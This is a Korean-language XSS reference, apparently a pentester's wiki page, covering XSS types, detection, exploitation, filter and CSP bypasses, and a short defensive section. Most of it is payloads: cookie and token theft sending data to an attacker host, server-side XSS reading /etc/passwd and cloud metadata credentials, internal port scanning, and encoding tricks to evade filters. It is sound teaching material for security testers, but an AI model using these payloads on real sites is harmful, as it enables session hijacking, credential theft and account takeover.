XSS

Cross-Site Scripting

Introduction

XSS는 Cross-Site Scripting의 약자로 웹 서비스에 Javascript 등 스크립트를 실행할 수 있는 코드를 삽입하여 다른 사용자 등에게 공격자가 의도한 스크립트를 실행하게 하는 공격 방법입니다. OWASP TOP10에도 매번 포함될 만큼 아주 전통적인 공격 방법이지만 현재까지 자주 발생하는 취약점으로 웹 해킹을 대표하는 공격이라고 생각합니다.

XSS는 크게 Reflected/Stored/DOM 3가지의 타입으로 나누어 볼 수 있습니다. 추가로 제한된 환경에서 불특정 도메인을 대상으로 영향을 줄 수 있는 Univeral XSS(UXSS)와 특수한 케이스로 동작하는 Mutaion XSS(mXSS)는 각각 개별적인 타입으로 보고 있습니다.

Non-persistent XSS (Reflected XSS)

영문 풀이 그대로 비 지속적인 XSS를 의미합니다. 검색, 조회 기능과 같이 사용자로 부터 입력 받은 데이터가 페이지에 반사되어 노출되는 경우, 공격코드가 포함된 URL을 타 사용자에게 전달하는 방식으로 공격을 수행합니다.

Request/Response

GET /page?q=a<script>alert(45)</script>bcd HTTP/1.1

HTTP/1.1 200
...

a<script>alert(45)</script>bcd

Persistent XSS (Stored XSS)

지속적인 XSS를 의미합니다. 보통 Stored XSS로 많이 표현하며 게시글, 사용자 정보 등 한번 저장되면 장기적으로 XSS 공격코드가 웹 서비스에 남아 사용자에게 지속적으로 피해를 줄 수 있는 XSS를 의미합니다. 보통 서비스 기능 상 장기적으로 데이터가 남는 프로필 저장, 게시글 작성, 댓글 작성등의 기능에서 나타나는 경우가 많습니다.

Request - Save

POST /profile HTTP/1.1

name=a<script>alert(45)</script>bcd

Request - Trigger

GET /profile

HTTP/1.1 200
...

Name: a<script>alert(45)</script>bcd

DOM XSS

DOM XSS는 Reflected, Stored XSS와 유사하지만 사용자 입력이 페이지에 직접 반영되는 형태가 아닌, JS 함수등으로 인해 DOM 내부에서 처리되는 중 스크립트가 실행 가능한 XSS를 의미합니다.

Request/Response

GET /page?q=alert(45) HTTP/1.1

HTTP/1.1 200
...

<script>
function getParameterByName(name) {
    name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
    var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
        results = regex.exec(location.search);
    return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}

eval(getParameterByName('q'))
</script>

UXSS (Universal XSS)

UXSS는 서비스와 관계없이 불특정한 사이트에서 발생 가능한 XSS를 의미합니다. 보통 웹 보다는 모바일 앱, 네이티브 앱에서 발생하며 대표적인 예시로는 Mobile App의 WebView 자체에서 발생하는 XSS로 인해 도메인과 관계없이 정보를 탈취하는 XSS 등이 있습니다.

Blind XSS

Blind XSS는 사용자의 XSS 코드 삽입의 결과를 즉각 확인할 수 없는 XSS를 의미합니다. 보통 고객센터, 문의 기능 등 공격자가 전달한 요청이 다른 시스템에서 XSS 코드로 실행되는 경우 XSS가 가능하지만, 공격자는 실행여부를 알 수 없기 때문에 이러한 공격을 Blind XSS 라고 합니다.

Blind XSS 를 탐지하는 방법은 별도의 Callback 서버를 두고 <script src="callback"></script> 와 같이 스크립트가 callback 서버를 호출하도록 하여 스크립트의 실행 여부를 알 수 있는데, 보통은 Blind XSS의 자세한 실행정보(어떤 IP에서 어떤 페이지에서 실행되었는지 등) 파악을 위해 XSSHunter(https://xsshunter.com)와 같은 도구를 사용합니다.

보통

Referer: asd'"><script src="//hahwul.xss.ht"></script>

dalfox에서도 이를 쉽게 체크할 수 있도록 -b (--blind) 옵션을 통해 dalfox가 여러가지 blind xss 패턴을 서비스의 parameter, path, header 등에 삽입하여 트리거를 유도 시킵니다.

dalfox url https://google.com?q=1234 -b hahwul.xss.ht

XSSHunter를 통한 트리거 메일

mXSS (Mutaion XSS)

mXSS(Muation XSS)는 웹 브라우저들의 HTML Parser의 오점을 이용한 XSS로 브라우저의 HTML Parser가 비정상적인 HTML 코드를 만났을 때 정상적인 형태로 전환해서 사용하는데, 이 때 구문상으로는 non-script 영역으로 판단하지만, 실제로는 scripting이 가능한 형태의 XSS를 의미합니다.

input

<math>
	<mtext>
	<table>
	<mglyph>
	<style><!--</style>
	<img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">

output

<math>
	<mtext>
		<mglyph>
			<style><!--</style>
			<img title="--></stype></mglyph><img src="1" onerror=alert(1)>"
	</mtext>
</math>

firefox

<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">

chrome

<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">

safari

<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">

in Vue

<x title"="&lt;iframe&Tab;onload&Tab;=alert(1)&gt;">
<x title"="&lt;iframe&Tab;onload&Tab;=setTimeout(/alert(1)/.source)&gt;">
<noscript>&lt;/noscript&gt;&lt;iframe&gt;</noscript>
<xmp>&lt;/xmp&gt;&lt;iframe&gt;</xmp>
<xyz<img/src onerror=alert(1)>>
<svg><svg><b><noscript>&lt;/noscript&gt;&lt;iframe&Tab;onload=alert(1)&gt;</noscript></b></svg>

Server-Side XSS (SSXSS)

Server-Side XSS는 일반적인 XSS와 다르게 Server에서 실행되는 XSS를 의미합니다. 대체로 Dynamic PDF/Images 과 같은 기능, 그리고 일부 Headless를 통한 자동화 플로우(스크린샷 캡쳐, Headless 기반의 자동화 플로우 등)와 같이 Server-Side에서 Headless 등 웹 브라우저를 통해 페이지에 접근할 때 발생합니다.

XSS와 유사하지만 Server-Side에서 동작하기 때문에 LFI, SSRF 및 API Key 탈취 등 리스크 있는 공격이 가능합니다.

LFI
<iframe src=file:///etc/passwd></iframe>

SSRF
<iframe src=https://internal.service/getSystem></iframe>

Offensive techniques

Detect

XSS의 식별은 기본적으로 “사용자의 입력이 서비스에 반영될 수 있는가?” 에서 출발합니다. 사용자의 입력이 페이지에 어떤 형태로라도 반영된다면 기본적으로 XSS의 가능성을 가집니다. 여기서 실제 스크립트를 실행하는데 필요한 특수문자나, 코드 등을 페이지에 반영할 수 있는지 테스트하는 것이 XSS 테스팅의 대다수 작업입니다.

Request

GET /serach?query=asdf"><br>1234 HTTP/1.1

Response

검색 결과는 asdf"><br>1234 입니다.

XSS

GET /serach?query=asdf<svg/onload=alert(45)>1234 HTTP/1.1

Response

검색 결과는 asdf<svg/onload=alert(45)>1234 입니다.

Exploitation

일반적으로 XSS에 대한 검증은 alert() / prompt() / confirm() 으로 페이지에 dialog를 열어 스크립트가 실행될 수 있음을 검증합니다. 다만 iframe 내부에서의 이런 dialog 함수들은 chrome 정책에 의해 차단되기 때문에 print() 등도 검증을 위한 좋은 대안이 됩니다.

XSS가 실제로 공격에 활용되는 부분은 굉장히 다양한데, 간단하게는 사용자의 쿠키/인증토큰 탈취부터 악성코드 감염 유도, CSRF, SOP등의 보안 정책을 벗어난 스크립트 실행, 웹 요청으로 Javascript를 이용해 할 수 있는 모든 기능이 XSS의 영향력이 됩니다.

<script>document.location='//attacker/?c='+document.cookie</script>
<script>document.location='//attacker/?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="//attacker/?c="+document.cookie;</script>
<script>new Image().src="//attacker/?c="+localStorage.getItem('access_token');</script>

Run service functions

XSS 코드는 사용자의 DOM 영역에서 동작하기 떄문에 웹 페이지에서 미리 만들어진 함수들을 사용할 수 있습니다. 예를들어 웹 페이지에 JS코드로 사용자의 토큰을 가져오는 함수가 정의되어 있다고 한다면, XSS 코드 또한 그 코드를 동일하게 사용하여 토큰을 얻을 수 있습니다. 일반적으로 XSS로 부터 cookie를 보호하기 위해 cookie에 HttpOnly 등 보안 설정을 진행하게 되는데, 이 쿠키 정보를 Js 내부에서 가지고 있거나 다른 객체에 저장해두었다면 공격자가 이를 우회하고 쉽게 쿠키에 접근할 수 있게 됩니다.

Bypass SOP

SOP는 Same-Origin-Policy로 동일 도메인에서만 데이터를 처리하고 읽을 수 있도록 제한하는 보안 정책인데, XSS의 경우 서비스의 도메인에서 동작하기 떄문에 이러한 보안 통제가 무력화 됩니다.

var bodyData = {newPassword :"hacked"};
$.ajax({
        type: "POST",
        data :JSON.stringify(bodyData),
        url: "/api/update/me",
        contentType: "application/json"
});

Find DOM Objects

function f(name) {
    A = Object.getOwnPropertyNames(eval(name))
    for (var i = 0; i < A.length; ++i) {
      console.log('['+name+'.'+A[i]+']');
      try {
        eval('console.log("    "+'+name+'.'+A[i]+'+[])');
      } catch (e) { }
    }
}

f('window')
<meta http-equiv="Set-Cookie" content="name=<script>alert(1)</script>">

LFI via SSXSS

Server-Side XSS(SSXSS) 발생 시 시스템 파일을 페이지에 포함시켜 탈취할 수 있습니다.

with Tag

<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>

with Script

<script>
    xhzeem = new XMLHttpRequest();
    xhzeem.open("GET","file:///etc/passwd");
    xhzeem.send();
    xhzeem.onload = function(){document.write(this.responseText);}
    xhzeem.onerror = function(){document.write('failed!')}
</script>

SSRF via SSXSS

Server-Side XSS(SSXSS) 발생 시 타 시스템으로 iframe 등을 걸어 SSRF가 가능합니다.

<iframe src="https://internal.service"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>

Info leak via SSXSS

Server-Side에서 브라우저를 통해 처리하는 기능들의 경우 웹 접근이나 페이지 내부에 중요한 데이터를 포함하고 있을 가능성이 높습니다. 그래서 Server-Side XSS(SSXSS) 발생 시 서버정보 탈취 또한 중요한 포인트입니다.

Location
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Cookie
<script> document.write(document.cookie) </script>

DOM
<script> document.write(btoa(document.documentElement.innerHTML)) </script>

Portscan via SSXSS

Server-Side XSS(SSXSS) 발생 시 내부망에서 코드가 동작하기 때문에 이를 이용하여 포트 스캐닝도 가능합니다.

<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

BeEF

BeEF(https://beefproject.com)는 Browser Exploitation Framework입니다. XSS 코드가 삽입된 페이지에 접근한 사용자를 Agent 처럼 사용하면서 JS 코드를 실행하거나 공격자가 원하는 동작을 수행하도록 명령을 내릴 수 있습니다. 자세한 내용은 BeEF 위키를 참고해주세요.

  • Basic Utilization
    • Configuration
    • Interface
    • Information Gathering
    • Social Engineering
    • Network Discovery
    • Metasploit
    • Tunneling
    • XSS Rays
    • Persistence
    • Creating a Module
    • Geolocation
    • Using-BeEF-With-NGROK
  • Advanced Utilization
    • RESTful API
    • Autorun Rule Engine
    • Notifications
    • Console
    • WebRTC Extension

Bypass protection

Basic mechanism

XSS의 우회 기술은 대부분 웹과 브라우저의 정책, 그리고 개발자가 의도한 추가적인 기능들을 이용해 이루어집니다. 각종 인코딩부터 특수한 문자 셋, 그리고 기존 XSS 보호 로직을 역이용한 방법 등 매우 많으며, 이는 기본적으로 서비스에서 Input을 어떻게 받고 처리하느냐를 중점적으로 생각 해야합니다. 딱 정해진 방법이 있는게 아니라서 한번 더 생각해보고 고민해보는 습관을 가져야 잘 풀어나갈 수 있습니다.

아래는 아주 기본적인 우회 방법들이니 참고하시길 바래요.

https://www.hahwul.com/2016/06/08/web-hacking-anti-xss-filter-evasion-of/

URL Encoding

  • %3C ⇒ <
  • %3E ⇒ >
  • %22 ⇒ "
  • %27 ⇒ '

등 URL Encode를 이용한 우회기법입니다. 처리하는 앱에 따라서 여러번 Encode하여 우회하는 경우도 있습니다.

  • %253C
  • %253E
  • %2522
  • %2527
  • %25253C
  • %25253E
  • %252522
  • %252527

HEX Encoding

https://www.hahwul.com/2015/06/26/web-hacking-hex-encoding-xss/

GET /?title=%26%23x003C;script%26%23x003E;alert(45)%26%23x003C;/script%26%23x003E; 
  • &#x003c<
  • &#x003e>
  • &#x0022"
  • &#x0027'

Unicode Encoding

  • \u003c<
  • \u003e>
  • \u0022"
  • \u0027'

GBK Encoding

  • 嘾 = %E5%98%BE = \u563e ⇒ %3E >
  • 嘼 = %E5%98%BC = \u563c ⇒ %3C <
  • 嘢 = %E5%98%A2 = \u5622 ⇒ %22 '
  • 嘧 = %E5%98%A7 = \u5627 ⇒ %27 "

Bypass domain check protection

<script src="data://www.trustdomain.hahwul.com, alert(45)"></script>

자세한 내용은 https://www.hahwul.com/2019/03/26/bypass-domain-check-protection-with-data-for-xss/ 을 참고해주세요.

Bypass DOM XSS Filter

https://www.hahwul.com/2017/10/18/web-hacking-bypass-dom-xss/

Forcing HTTP Redirect XSS

Request

/weak.page?url=ws://www.hahwul.com;"><svg/onload=alert(45)>

Response

HTTP 302 Redirect
Location: ws://www.hahwul.com;"><svg/onload=alert(45)>

<a href="ws://www.hahwul.com;"><svg/onload=alert(45)>"></a>

자세한 내용은 https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/ 을 참고해주세요.

Hidden XSS

  • https://www.hahwul.com/2016/12/28/web-hacking-html-accesskey-and-hidden/
  • https://www.hahwul.com/2016/06/20/web-hacking-hiddenxss-xss-in-hidden/
<html>
<body>
  <input type="hidden" accesskey="X" onclick="alert(45)">
</body>
</html>
<button popovertarget=×>Click me</button>
<input type="hidden" value="y" popover id=x onbeforetoggle=alert(1)>

Data URI XSS

  • https://www.hahwul.com/2022/03/05/data-uri-xss-v2/
  • https://www.hahwul.com/2017/03/15/web-hacking-data-xss-filtering-bypass/
<script src="data:;base64,YWxlcnQoMSk="></script>
<iframe src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></iframe>
<object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'></object>
<embed src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></embed>
<form action="data:text/html;charset=utf-8,%3cbr%3e"><input type='submit'></form>
<a href="data:text/html;,<br>">x</a>
<meta HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

JSFuck

  • https://www.hahwul.com/2018/09/15/jsfuck-xss-payload/
  • https://github.com/aemkei/jsfuck/blob/master/jsfuck.js
// alert(1)
this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])

// alert(1)
this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))

JSFuck+Hangul

  • https://www.hahwul.com/2018/11/20/waf-bypass-xss-payload-only-hangul/
  • https://twitter.com/XssPayloads/status/1095213323677782017
<html>
  <head>
    <meta charset="utf-8">
  </head>
<script>
([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)
[+=+++++++++][](+++++'(45)')()
</script>
</html>

JSFuck+8

[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()

With strtoupper

[strtoupper(<ſcript>) by Rubiya](https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/)

%c4%b1 : "ı".toUpperCase() == "I"
%c5%bf : "ſ".toUpperCase() == "S"
%c4%b0 : "İ".toLowerCase() == "i"
%E2%84%AA : "K".toLowerCase() == "k"

U+2029 XSS

Paragraph Separator(U+2029) XSS

#!@*%
alert(1)

URI Hash XSS

https://www.hahwul.com/2018/03/21/hacking-hsah-tag-xss-escape-quot-with/

document.write("<img/src="+absolutizeUrl('http://www.hahwul.com#" onerror=alert(45)')+">");

xmp/noscript/noframes/iframe

https://www.hahwul.com/2019/04/12/bypass-xss-protection-with-xmp-noscript-etc/

<noscript><p title="</noscript><svg/onload=alert(45)>">
<noframes><p title="</noframes><svg/onload=alert(45)>">
<iframe><p title="</iframe><svg/onload=alert(45)>">
<xmp><p title="</xmp><svg/onload=alert(45)>">

Normalized XSS

https://www.hahwul.com/2019/09/26/normalized-stored-xss/

=[̕h+͓.<script/src=//evil.site/poc.js>.͓̮̮ͅ=sW&͉̹̻͙̫̦̮̲͏̼̝̫́̕

Bypass in-JS

with <!-- <script/
<script>
  var test = "injection <!-- <script/";
</script>

<img src="</script><script>alert(origin)</script>">
with </script>
<script>
  var test = "</script><svg/onload=alert(45)>"
</script>
with double quot and plus
<script>
  var test = ""+alert(45)+""
  // user input: "+alert(45)+"
</script>
with backslash
<script>
  var test = "\", test1="+alert(45)//input2"
  // Original: var test = "input1", test1="input2"
  // user input1: \
  // user input2: +alert(45)//
</script>

Without X

Ways to XSS without parentheses

alert`45`
document.location="javascript:alert%2845%29"
onerror=alert;throw 45
x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x

JS Magic

location.protocol
// open https://www.hahwul.com?%0aalert(45)
location.protocol="javascript:"

Bypass CSP

Content-Security-Policy

CSP는 Content-Security-Policy로 웹 브라우저에서 사용하는 컨텐츠 기반의 보안 정책입니다. 이를 통해서 이미지, 스크립트 등 여러 컨텐츠에 대해 차단하거나 허용할 수 있습니다. 당연히 스크립트 제한 정책이 가능하기 때문에 XSS의 좋은 완화 방안이기도 합니다.

  • Content-Security-Policy : W3C에서 지정한 표준헤더, 대체로 이걸 사용함
  • X-Content-Security-Policy : Firefox/IE 구형 브라우저에서 사용되는 헤더
  • X-WebKit-CSP : Chrome 기반의 구형 브라우저에서 사용되는 헤더

이중에서 일반적으로 Content-Security-Policy 헤더가 사용됩니다. 정책에 대한 부분은 아래 Defensive techniques의 CSP를 참고해주세요.

Hack unsafe-eval

Content-Security-Policy: script-src https://www.hahwul.com 'unsafe-eval' data: http://*; child-src 'none';
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Hack unsafe-inline

Content-Security-Policy: script-src https://www.hahwul.com 'unsafe-inline' https://*; child-src 'none';
"/><script>alert(45);</script>

Missing default-src

Content-Security-Policy: script-src 'self';
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>

<param name="AllowScriptAccess" value="always"></object>

신뢰 도메인에 Source 업로드

CSP 정책에서 신뢰하는 도메인에 파일을 업로드할 수 있는 경우 이를 통해 CSP를 우회하여 스크립트를 실행할 수 있습니다.

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com

위와 같은 CSP 정책에서 만약 abcd.hahwul.com에 파일을 업로드할 수 있는 경우 아래와 같이 우회할 수 있습니다.

xss.txt

alert(document.location)

XSS Query

GET http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com

<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

신뢰 도메인의 JSONP 활용

JSONP는 CORS를 우회하여 크로스 도메인에서 JSON 활용할 수 있도록 제원하는 방법이며 이는 jsonp,callback 등의 파라미터로 response 가 반환될 함수를 명시할 수 있도록 지원합니다. 만약 신뢰도메인에서 이러한 기능이 있다면 CSP의 도메인 정책을 우회할 수 있습니다.

<script src=”http://abcd.hahwul.com/test/jsonp?callback=alert(45);//”></script>

원리를 보자면 jsonp 페이지는 callback(){"return":"data"} 같은 포맷으로 response를 넘겨주는데, callback function을 alert(45);// 로 지정해주면 결국 response 에는 이런 값이 담깁니다.

alert(45);//{"user":"hahwul","id":3422}

Header Injection & CRLF Injection

Header Injection, CRLF Injection 등이 가능하면 CSP을 덮거나 새로 정의할 수 있습니다. CSP 내부에 값을 삽입할 수 있는 경우에도 CSP 구문 자체를 변조하여 비정상적으로 동작하도록 유도할 수 있습니다.

예를들어 사용자의 입력값이 Set-Cookie에 반영되고 이 위치가 CSP보다 위에 있다면 아래와 같이 우회할 수 있습니다.

GET http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>&cookie=1234%0d%0a%0d%0aaaaa

위와 같이 요청하면 Set-Cookie의 개행으로 인해 아래 CSP 구문이 Body 부분이 됩니다. 결국 정책이 아닌 텍스트로 영향력이 사라집니다.

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: 

aaaaaa
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com

<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

Server Error를 이용한 우회

에러 페이지(400, 414 등) 발생 시 CSP는 동작하지 않습니다. 이를 이용하여 오류가 발생하는 페이지를 임의로 임베딩하여 CSP를 무력화 할 수 있습니다. 자주 사용되는 에러는 아래와 같습니다.

  • 400 Bad Request: 잘못된 Path 등으로 WAS단 에러 유도
  • 414 Request-URI Too Large: URL Qeury 값을 서버가 지원하는 값 이상으로 전달하여 에러 유도
  • Cookie Bomb: 큰 쿠키 값으로 에러를 유도, 400이나 414 발생 (Cookie Bomb Attack 참고)

Static file을 이용한 우회

위 에러와 유사하게 favicon, robots.txt 등은 CSP의 영향을 받지 않습니다. 위와 동일하게 임베딩하여 우회할 수 있습니다.

Break nonce1 - CSS Injection

CSS는 정규표현식으로 elements의 attribute에 접근할 수 있습니다. 이 점을 활용하여 다른 script 등의 nonce 값을 한글자씩 search해서 값을 가져올 수 있습니다.

*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}

Break nonce2 - Cache poisoning

보통 웹 어플리케이션은 앞단에 Nginx, Apache 등 WAS를 두고 동작합니다. 이 때 WAS에도 컨텐츠에 따라 헤더나 처리를 다르게 하기 위해 URI 기반으로 정책이 들어갑니다. 그리고 대부분의 리소스는 매번 호출하면 비 효율적이기 때문에 서버단 캐시도 자주 사용됩니다.

그래서 XSS와 CSP가 공존하는 페이지의 경로를 속여 서버가 캐시하도록 유도하는 방법입니다. 서버가 캐시하게 되면 Response가 고정되기 때문에 당연히 nonce 값 또한 고정된 상태가 됩니다.

GET http://vaha.hahwul.com/test/csp.php/1.png?q=XSSCode& 

서버가 이 요청을 캐시했다면, nonce는 아래와 같이 고정됩니다.

Req1
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c

Req2
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c

Req3
Content-Security-Policy: default-src 'none'; script-src nonce-ca987dc7a654dc65a4d5675c

그러면 공격자는 아래와 같은 공격코드로 트리거할 수 있습니다.

<sciprt nonce="ca987dc7a654dc65a4d5675c">alert(document.domain)</script>

Using Open Redirect

Content-Security-Policy: script-src 'self' accounts.google.com/random/ website-with-redirect.com; object-src 'none';
">'><script src="https://website-with-redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">

Using URL Encode

Content-Security-Policy: script-src www.hahwul.com/cullinan/
<script src="https://www.hahwul.com/cullinan%2f..%2fpublic/uplooad/xss"></script>

Using 3rd-party CDN

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none';
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(45)>

Bypass Env

Short XSS

18 chars

<script/src=//NJ.₨>

19 chars

<x onclick=alert()>

23 chars

<svg/onload=eval(name)>

25 chars

<style/onload=eval(name)>

Combined XSS

GET /target?name=<script>alert(1)/*&age=*/</script>
name: <script>alert(1)/*
test: 1234
ggg: bbbb
age: */</script>

More patterns

  • https://github.com/terjanq/Tiny-XSS-Payloads
  • https://gist.github.com/btoews/2399929
  • https://tinyxss.terjanq.me

Upgrade Trick

From Self-XSS

https://www.hahwul.com/2019/11/02/upgrade-self-xss-to-exploitable-xss/

  • Self XSS + CSRF (aka, XSRF)
  • Self XSS + Login CSRF
  • XSS Jacking (with ClickJacking)

From XSS Weakness

https://www.hahwul.com/2022/03/19/xss-weakness-to-xss/

  • Hidden param mining
  • Deceive WAS and G/W
  • Include from other
  • Disturb downloadable func

Defensive techniques

Response 내 사용자의 입력 데이터가 반영되는 모든 구간은 HTML/JS 등을 사용하지 못하도록 특수문자에 대한 필터링이 필요합니다. 보통 < > " ' 4개는 기본적으로 치환 처리하는 것이 좋으며, 서비스 기능에 따라서 공격에 사용되는 문자열이나 이벤트 핸들러 등을 필터링하여 사용하지 못하도록 제한 하는 것이 좋습니다.

CSP

추가로 CSP(Content-Security-Policy)를 적용하여 공격으로 인한 스크립트 삽입에도 동작하지 못하도록 제한할 수 있습니다. 헤더에서 사용되는 속성과 값은 아래와 같습니다.

  • default-src : 모든 리소스에 대한 정책(아래 것들 다 포함)
  • script-src : Javascript 등 웹에서 실행 가능한 스크립트에 대한 정책
  • object-src : 플러그인, 오브젝트에 대한 정책
  • style-src : style, 즉 css에 대한 정책
  • img-src : 이미지
  • media-src : video, audio
  • frame-src : iframe, X-Frame 헤더랑은 비슷한 역할을 하지만, 약간 다르죠.
  • font-src : font
  • connect-src : script src로 불러올 수 있는 url에 대한 정책
  • form-action : form 태그 내 action 부분에 대한 정책
  • sandbox : HTML 샌드박스
  • script-nonce : 위에 script-src + 아래쪽에 none 이 포함되는 정책, 약간 강한..
  • plugin-types : 로드할 수 있는 플러그인 타입, 위에 object-src와 접점
  • reflected-xss : X-XSS-Protection header와 동일한 효과, 실제로 이게 적용된 사이트는 아직 본적이 없네요..ㅋㅋ
  • report-uri : 정책 위반 케이스가 나타났을 때 내용을 전달할 URL

속성에 매핑도는 값은 4가지 정도 있습니다.

  • ‘none’은 예상할 수 있듯이 아무것과도 일치하지 않습니다.
  • ‘self’ 는 현재 출처와 일치하지만 하위 도메인은 일치하지 않습니다.
  • ‘unsafe-inline’은 인라인 자바스크립트 및 CSS를 허용합니다.
  • ‘unsafe-eval’은 eval 같은 텍스트-자바스크립트 메커니즘을 허용합니다.

적용 예시

하위 도메인의 리소스만만 사용할 수 있게

Content-Security-Policy: default-src 'self'

특정 도메인만 신뢰

Content-Security-Policy: default-src 'self' *.mydomain.com

특정 태그 계열만 허용

Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *

특정 도메인만 무조건 SSL 통신하도록

Content-Security-Policy: default-src https://onlinebanking.jumbobank.com

Tools

Articles

  • https://www.hahwul.com/search/?keyword=XSS
  • (XSS는 작성한 글이 많아서 검색 링크로 넣었어요. 나중헤 하나하나 추가해둘게요 😭)

References